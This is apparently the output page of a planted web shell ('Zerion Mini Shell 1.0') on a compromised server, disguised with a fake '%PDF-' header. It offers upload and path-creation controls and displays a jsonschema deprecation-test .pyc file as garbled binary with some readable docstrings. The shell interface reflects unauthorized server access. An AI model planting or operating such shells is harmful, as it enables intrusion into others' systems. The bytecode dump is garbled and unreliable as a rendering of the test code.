%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/jsonschema/tests/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/jsonschema/tests/__pycache__/test_deprecations.cpython-312.pyc

�

`��d=��2�ddlmZddlmZGd�de�Zy)�)�TestCase)�
validatorsc�6�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	y)	�TestDeprecationsc�
�|jt�5}ddlm}ddd�|j	j
t�|jt|j�jd��y#1swY�]xYw)zY
        As of v4.0.0, __version__ is deprecated in favor of importlib.metadata.
        r)�__version__Nz.Accessing jsonschema.__version__ is deprecated)�assertWarns�DeprecationWarning�
jsonschemar�assertEqual�filename�__file__�
assertTrue�str�warning�
startswith)�self�wrs   �D/usr/lib/python3/dist-packages/jsonschema/tests/test_deprecations.py�test_versionzTestDeprecations.test_versionsh��
�
�
�0�
1�	/�Q�.�	/�	
������X�.������	�	�N�%�%�@�
�	
�		/�	/���A9�9Bc�
�|jt�5}ddlm}ddd�|j	j
t�|jt|j�jd��y#1swY�]xYw)z�
        As of v4.0.0, importing ErrorTree from jsonschema.validators is
        deprecated in favor of doing so from jsonschema.exceptions.
        r)�	ErrorTreeNz<Importing ErrorTree from jsonschema.validators is deprecated)r	r
�jsonschema.validatorsrrr
rrrrr)rrrs   r�test_validators_ErrorTreez*TestDeprecations.test_validators_ErrorTreesh���
�
�0�
1�	8�Q�7�	8�	
������X�.������	�	�N�%�%�N�
�	
�		8�	8�rc�^�|jt�5}tj}ddd�|jtj�|jj
t�|jt|j�jd��y#1swY�}xYw)za
        As of v4.0.0, accessing jsonschema.validators.validators is
        deprecated.
        Nz8Accessing jsonschema.validators.validators is deprecated)r	r
rr�_VALIDATORSr
rrrrr�rr�values   r�test_validators_validatorsz+TestDeprecations.test_validators_validators&s����
�
�0�
1�	*�Q��)�)�E�	*�����
� 6� 6�7�������X�.������	�	�N�%�%�J�
�	
�	*�	*���B#�#B,c�^�|jt�5}tj}ddd�|j	tj
�|j	jt�|jt|j�jd��y#1swY�}xYw)zc
        As of v4.0.0, accessing jsonschema.validators.meta_schemas is
        deprecated.
        Nz:Accessing jsonschema.validators.meta_schemas is deprecated)r	r
r�meta_schemasr�
_META_SCHEMASr
rrrrrrs   r�test_validators_meta_schemasz-TestDeprecations.test_validators_meta_schemas7s����
�
�0�
1�	,�Q��+�+�E�	,�����
� 8� 8�9�������X�.������	�	�N�%�%�L�
�	
�	,�	,�r!c��tjji�}|jt�5}|jd�5	ddd�ddd�|j
jt�|jt|j�jd��y#1swY�exYw#1swY�ixYw)zC
        As of v4.0.0, RefResolver.in_scope is deprecated.
        �fooNz.jsonschema.RefResolver.in_scope is deprecated )
r�RefResolver�from_schemar	r
�in_scoperr
rrrrr)r�resolverrs   r�test_RefResolver_in_scopez*TestDeprecations.test_RefResolver_in_scopeHs���
�)�)�5�5�b�9��
�
�
�0�
1�	�Q��"�"�5�)�
��
�	�	
������X�.������	�	�N�%�%�@�
�	
�	
�
��	�	�s#�B9�B-�	B9�-B6	�2B9�9Cc�r�tji�}|jt�5}|j	dddi�}ddd�|j�|j
jt�|jt|j�jd��y#1swY�nxYw)zz
        As of v4.0.0, calling is_valid with two arguments (to provide a
        different schema) is deprecated.
        r'�type�numberNz5Passing a schema to Validator.is_valid is deprecated )
r�Draft7Validatorr	r
�is_valid�assertFalserr
rrrrr)r�	validatorr�results    r�%test_Validator_is_valid_two_argumentsz6TestDeprecations.test_Validator_is_valid_two_argumentsYs����.�.�r�2�	�
�
�
�0�
1�	C�Q��'�'����/A�B�F�	C�	
���� �������X�.������	�	�N�%�%�G�
�	
�	C�	C�s�B-�-B6c��tji�}|jt�5}|j	dddi�\}ddd�|jjd�|jjt�|jt|j�jd��y#1swY�yxYw)z}
        As of v4.0.0, calling iter_errors with two arguments (to provide a
        different schema) is deprecated.
        r'r.r/Nz8Passing a schema to Validator.iter_errors is deprecated )
rr0r	r
�iter_errorsrr3r
rrrrr)rr3r�errors    r�(test_Validator_iter_errors_two_argumentsz9TestDeprecations.test_Validator_iter_errors_two_argumentsks����.�.�r�2�	�
�
�
�0�
1�	F�Q��*�*�5�6�8�2D�E�F�E�	F�	
������&�1�������X�.������	�	�N�%�%�J�
�	
�	F�	F�s�B:�:CN)
�__name__�
__module__�__qualname__rrr r%r,r5r9��rrrs%��

�
� 
�"
�"
�"
�$
r>rN)�unittestrrrrr=r>r�<module>r@s���!�u
�x�u
r>

Zerion Mini Shell 1.0